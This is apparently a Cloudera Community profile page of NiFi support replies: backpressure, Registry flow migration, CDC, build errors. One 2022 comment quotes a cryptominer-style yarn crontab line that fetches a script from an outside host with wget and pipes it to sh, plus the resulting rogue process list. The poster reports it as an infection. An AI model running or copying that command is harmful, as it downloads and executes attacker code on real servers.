1935
Posts
1198
Kudos Received
119
Solutions
My Accepted Solutions
Title | Views | Posted |
---|---|---|
1634 | 06-03-2021 07:11 AM | |
925 | 06-01-2021 10:05 AM | |
874 | 05-24-2021 11:58 AM | |
928 | 02-23-2021 07:12 AM | |
1184 | 02-22-2021 06:53 AM |
12-07-2022
09:46 PM
While converting from json to avro format,how to get logicaltype in avro format. And to get logicaltype in avro format,what we need to add in json data .
... View more
09-27-2022
08:26 AM
@arkumari As this is an older post, you would have a better chance of receiving a resolution by starting a new thread. This will also be an opportunity to provide details specific to your environment that could aid others in assisting you with a more accurate answer to your question. You can link this thread as a reference in your new post.
... View more
07-12-2022
06:19 AM
Marfill, If backpressure is applied when the total number of flowfiles in a given queue has reached (#nodes * the limit per node) for example if you have a cluster of 3 nodes and the threshold is set to 10,000 then the backpressure will be applied when total # of flow files = 30,000 and so on. Regarding the Control Rate I believe its done per node statistics, for example if you have a control rate that allows 1 flow file per hour and the control rate processor is set part of load balancing on 3 nodes cluster, let say you receive total of 3 files for the first time one on each node then the 3 will be get processed immediately.
... View more
05-21-2022
07:38 AM
Good work! I have similar plans to add ML for schema inference etc. Any update after this?
... View more
05-12-2022
02:56 PM
@TimothySpann Could you explain how you were able to convert the webhook text to ${twitter.msg} and have it work? I am trying to do a similar flow for AlphaVantage and I am having trouble with sending this step to slack. Thank you
... View more
04-19-2022
02:54 AM
Thanks a lot for the article! I had an error in the Maven structure and I could not figure out where exactly. The article helped me.
... View more
03-16-2022
01:41 AM
Thinks for all your suggestion. By increasing HEAP size issue resloved. Thanks, Suryakant
... View more
03-15-2022
01:34 AM
Hi @VidyaSargur I do not see an option for 'Accept as Solution' below the post, I assume because I didn't ask the original question. Regards
... View more
03-08-2022
05:06 PM
In my case, the below cron entry was found $ sudo -u yarn crontab -l
*/10 * * * * wget http://vbyphnnymdjnsiau.3utilities.com/Bj2yso0 -O-|sh It resulted in so many spurious processes initiated by yarn - and shooting up the CPU. Nothing could be done. In some cases the number of entries were as high as 20k. $ ps -ef | grep yarn
yarn 30321 30318 0 11:44 ? 00:00:00 NHNe5C5iHr
yarn 30323 29152 0 11:44 ? 00:00:00 NHNe5C5iHr
yarn 30330 29075 0 11:44 ? 00:00:00 rxNqqqOesC1HqN
yarn 30427 30319 0 11:44 ? 00:00:00 NHNe5C5iHr
yarn 30773 1 0 10:34 ? 00:00:00 fexsOEvOv
yarn 31186 1 0 10:34 ? 00:00:00 GqOeeG5eCC1rO
yarn 31189 1 0 10:34 ? 00:00:00 ff1NrseqqffTHrve
yarn 31727 1 0 09:20 ? 00:00:00 ivxvj1Ei1
yarn 31731 31727 0 09:20 ? 00:00:04 ivxvj1Ei1
yarn 31770 1 0 09:20 ? 00:00:00 GjN1GxCsqE51fs
yarn 31771 31770 0 09:20 ? 00:00:21 GjN1GxCsqE51fs
yarn 31774 31770 0 09:20 ? 00:00:05 GjN1GxCsqE51fs
yarn 31790 1 0 09:20 ? 00:00:00 EvGeHe5OxfC
yarn 31791 31790 0 09:20 ? 00:00:23 EvGeHe5OxfC
yarn 31793 31790 0 09:20 ? 00:00:02 EvGeHe5OxfC
yarn 31803 1 0 09:20 ? 00:00:00 qCevqvvGff1
yarn 31804 31803 0 09:20 ? 00:00:18 qCevqvvGff1
yarn 31806 31803 0 09:20 ? 00:00:04 qCevqvvGff1
yarn 32243 1 0 10:35 ? 00:00:00 TNsNf5fqTEv5esOxx
yarn 32254 1 0 10:35 ? 00:00:00 qCevqvvGff1
yarn 32255 1 0 10:35 ? 00:00:00 seffjsOExr Thanks for discussing and bringing up this issue.
... View more
02-24-2022
01:04 PM
@HaiderNaveed As this is an older post, you would have a better chance of receiving a resolution by starting a new thread. This will also be an opportunity to provide details specific to your environment that could aid others in assisting you with a more accurate answer to your question. You can link this thread as a reference in your new post. Thanks!
... View more
02-16-2022
01:35 PM
did you connect to db2?
... View more
02-06-2022
08:51 PM
@Meghna_3 as this is an older article, you would have a better chance of receiving a resolution by starting a new thread. This will also be an opportunity to provide details specific to your environment that could aid others in assisting you with a more accurate answer to your question. You can link this thread as a reference in your new post.
... View more
12-08-2021
09:10 AM
[ 0%] Built target date-tz [ 1%] Built target spdlog-externa [ 2%] Built target ossp-uuid-externa [ 4%] Built target zlib-externa [ 5%] Built target yaml-cpp-externa [ 5%] Performing build step for 'libressl-portable Consolidate compiler generated dependencies of target crypt [ 0%] Building C object crypto/CMakeFiles/crypto.dir/cryptlib.c. In file included from /data/data/com.termux/files/home/nifi-minifi-cpp/build/thirdparty/libressl-src/crypto/cryptlib.c:121 /data/data/com.termux/files/home/nifi-minifi-cpp/build/thirdparty/libressl-src/crypto/../include/compat/syslog.h:32:6: error: conflicting types for 'android_polyfill_syslog_r void syslog_r(int, struct syslog_data *, const char *, ...) /data/data/com.termux/files/usr/include/syslog.h:176:18: note: expanded from macro 'syslog_r #define syslog_r android_polyfill_syslog_ /data/data/com.termux/files/usr/include/syslog.h:161:24: note: previous definition is her static __inline__ void android_polyfill_syslog_r(int syslog_priority, void* d, const char* format, ... In file included from /data/data/com.termux/files/home/nifi-minifi-cpp/build/thirdparty/libressl-src/crypto/cryptlib.c:121 /data/data/com.termux/files/home/nifi-minifi-cpp/build/thirdparty/libressl-src/crypto/../include/compat/syslog.h:33:6: error: conflicting types for 'android_polyfill_vsyslog_r void vsyslog_r(int, struct syslog_data *, const char *, va_list) /data/data/com.termux/files/usr/include/syslog.h:177:19: note: expanded from macro 'vsyslog_r #define vsyslog_r android_polyfill_vsyslog_ /data/data/com.termux/files/usr/include/syslog.h:170:24: note: previous definition is her static __inline__ void android_polyfill_vsyslog_r(int syslog_priority, void* d, const char* fmt, va_list ap 2 errors generated make[5]: *** [crypto/CMakeFiles/crypto.dir/build.make:188: crypto/CMakeFiles/crypto.dir/cryptlib.c.o] Error make[4]: *** [CMakeFiles/Makefile2:197: crypto/CMakeFiles/crypto.dir/all] Error make[3]: *** [Makefile:146: all] Error make[2]: *** [CMakeFiles/libressl-portable.dir/build.make:86: libressl-portable-prefix/src/libressl-portable-stamp/libressl-portable-build] Error make[1]: *** [CMakeFiles/Makefile2:1076: CMakeFiles/libressl-portable.dir/all] Error make: *** [Makefile:166: all] Error 222221.^)e^r'^;':^)e^r'^;':oo'llll[Makefile:166: all] Error 2
... View more
10-01-2021
01:40 AM
Hi, I deleted this file in my ubuntu ec2 instance : 1.content_repository 2.database_repository 3.flowfile_repository 4.provenance_repository and also delete file in conf -> flow.xml.gz after the deleting this files in my ubuntu ec2 instance i will restart nifi.sh after that the nifi is runing but i will open my ip address in chrome http://54.89.235.124:8443/ i am getting this site cann't reached error. in my putty i am getting like this please help to resolve this issue
... View more
09-04-2021
02:54 PM
A bit late to the party, but do you (or anyone else who might have encountered this problem) have any extra info to share about it? I am currently experiencing a similar issue.
... View more
07-23-2021
05:42 AM
if you read a binary file it should be passed into NiFi with no issue.
... View more
07-22-2021
10:00 AM
You can have a QueryDataTableRecord to watch when changes happen and have that trigger your process. You may want to try Debezium with Cloudera Kafka You may want to try Debezium with Cloudera Flink SQL https://dev.to/tspannhw/simple-change-data-capture-cdc-with-sql-selects-via-apache-nifi-flank-19m4 See: https://github.com/tspannhw/EverythingApacheNiFi https://docs.microsoft.com/en-us/sql/database-engine/availability-groups/windows/replicate-track-change-data-capture-always-on-availability?view=sql-server-ver15 https://debezium.io/documentation/reference/connectors/sqlserver.html https://sandeepkattepogu.medium.com/streaming-data-from-microsoft-sql-server-into-apache-kafka-2fb53282115f https://www.linkedin.com/pulse/achieving-incremental-fetch-change-data-capture-via-apache-rajpal/ https://www.datainmotion.dev/2021/02/using-apache-nifi-in-openshift-and.html
... View more
07-21-2021
02:24 PM
@TimothySpann thank you for your prompt reply
... View more
06-09-2021
05:21 AM
Same problem!
... View more
06-07-2021
04:21 AM
Thanks for both replies, I managed to get it working last week the same way as you have shown Matt. Cheers
... View more
06-02-2021
06:22 AM
1 Kudo
@hegdemahendra The NiFi CLI toolkit [1] can help here to an extent. This toolkit provides the following NiFi-Registry capabilities: registry current-user
registry list-buckets
registry create-bucket
registry delete-bucket
registry list-flows
registry create-flow
registry delete-flow
registry list-flow-versions
registry export-flow-version
registry import-flow-version
registry sync-flow-versions
registry transfer-flow-version
registry diff-flow-versions
registry upload-bundle
registry upload-bundles
registry list-bundle-groups
registry list-bundle-artifacts
registry list-bundle-versions
registry download-bundle
registry get-bundle-checksum
registry list-extension-tags
registry list-extensions
registry list-users
registry create-user
registry update-user
registry list-user-groups
registry create-user-group
registry update-user-group
registry get-policy
registry update-policy
registry update-bucket-policy You can get a description of each by executing: <path to>/cli.sh registry sync-flow-versions -h Since you are changing FlowPersistence providers and not trying to sync flows to a new NiFi-Registry, You really can't use the above "sync-flow-versions" function. Plus, I really don't see it even in that scenario being able to accomplish your goal because you would end up with new flow ids. When you create a bucket in NiFi-Registry it is assigned a bucket if (random uuid). When you version control a Process Group (PG) in NiFi, you choose an existing bucket and it first creates a new flow id (Random UUID assigned to the flow). Then the initial version 1 of that PG flow is created and assigned to that flow id in the NiFi-Registry. Since you cannot force the flow id assigned UUID, syncing flows from registry 1 to registry 2, would not track to your version controlled PGs in your NiFI because of change in flow id. In your scenario, you would need to export all your flows (version by version and it is important you keep rack of the version fo the flow you extract). So for a flow with ID XYZ you may have 6 versions. This means you would use: registry export-flow-version I'd suggest naming the produced json file using source flow id and flow version like XYZ_v1.json, XYZ_v2.json, etc... Example: ./cli.sh registry export-flow-version -ot json -u http://<nifi-registry hostname>:<port>/ -f c97fd570-e2ef-4001-98c9-8810244b6015 -fv 1 -o /tmp/c97fd570-e2ef-4001-98c9-8810244b6015_ver1.json You should then save off your original DB. Delete all existing flows so all you have are your original buckets Then you would need to take all these exported flows and import them back in to registry after switching to your new persistence provider. Now keep in mind before importing each flow version you must first create a new flow within the correct still existing buckets. Keep track of these newly assigned flow ids and which original flow id you are importing in to them (very important) Then you MUST import each new flow in exact version 1 to version x order. If you import version 5 of flow XYZ first it will become version 1 within that new flow Id. The version persisted in the output json is not used when importing, it is assigned the next incremental version in the new flow id. Once you are done here you have a bunch of new flow ids with all your versions imported. Now you need to go edit your flow.xml.gz in NiFi. For every version controlled PG in that flow.xml.gz you will find a section that looks like this: <versionControlInformation>
<registryId>912e8161-0176-1000-ffff-ffff98135aca</registryId>
<bucketId>0cab84ff-399b-4113-9767-687e8e33e48a</bucketId>
<bucketName>bucket-name</bucketName>
<flowId>136b3ba8-bc6f-46dd-afe5-235a80ef8cfe</flowId>
<flowName>flow-name</flowName>
<flowDescription/>
<version>5</version>
</versionControlInformation> Everything here should remain the same except fro the change in "flowId" This would allow you to do a global search and replace on "<flowId>original id</flowId>" to "<flowId>new id</flowId>". Make sure you stop all NiFi nodes, put same modified flow.xml.gz on all nodes (backup original), and start NiFi nodes again. Your PGs should now be tracking to your new flows imported in your registry now backed by the gitFlowPersistenceProvider. [1] https://nifi.apache.org/docs/nifi-docs/html/toolkit-guide.html#nifi_CLI Sorry there is no automated path for this. If you found this addressed your query, please take a moment to login and click "Accept" on those solutions which assisted you. Thanks, Matt
... View more
06-01-2021
02:29 PM
1 Kudo
CountText will count lines (\r\n). QueryRecord will count # of records, even if it is two records on a line
... View more
05-27-2021
07:55 AM
what version of NiFi are you using? There are some bugs with InvokeHttp in older versions. Can you access that url from that machine via curl? There may be a networking or firewall issue. https://www.datainmotion.dev/2021/01/flank-real-time-transit-information-for.html https://www.datainmotion.dev/2021/03/using-cloudera-flow-management-powered.html https://community.cloudera.com/t5/Community-Articles/Real-Time-Stock-Processing-With-Apache-NiFi-and-Apache-Kafka/ta-p/249221 https://community.cloudera.com/t5/Community-Articles/Smart-Stocks-with-FLaNK-NiFi-Kafka-Flink-SQL/ta-p/308223
... View more
05-24-2021
12:02 PM
wrap your SQL in a view / procedure / function or other Database native grouping of statements is smartest. With running multiple sql statements you may want to use Cloudera CDE, Cloudera Machine Learning jobs, YARN Spark Jobs or Airflow. https://www.datainmotion.dev/2019/10/migrating-apache-flume-flows-to-apache_15.html https://www.datainmotion.dev/2020/12/simple-change-data-capture-cdc-with-sql.html
... View more
05-24-2021
11:58 AM
1 Kudo
Use JDK 8 or JDK 11, JDK 9 is not supported JDK 9 issues https://github.com/graphhopper/graphhopper/issues/1391
... View more
05-24-2021
11:56 AM
Some examples https://community.cloudera.com/t5/Support-Questions/How-Extract-text-from-a-multiline-flow-and-create-only-one/td-p/104706 https://nathanlabadie.com/recombining-multiline-logs-with/ https://github.com/tspannhw/EverythingApacheNiFi/blob/main/README.md
... View more
05-23-2021
06:44 AM
good suggestion ! This apps really helpful in tracking and storing location of own ... Also reference are very helpful to me. http://owntracks.org/booklet/ http://owntracks.org/booklet/tech/json/ http://osmand.net/build_it post office near me tracking N.Miller
... View more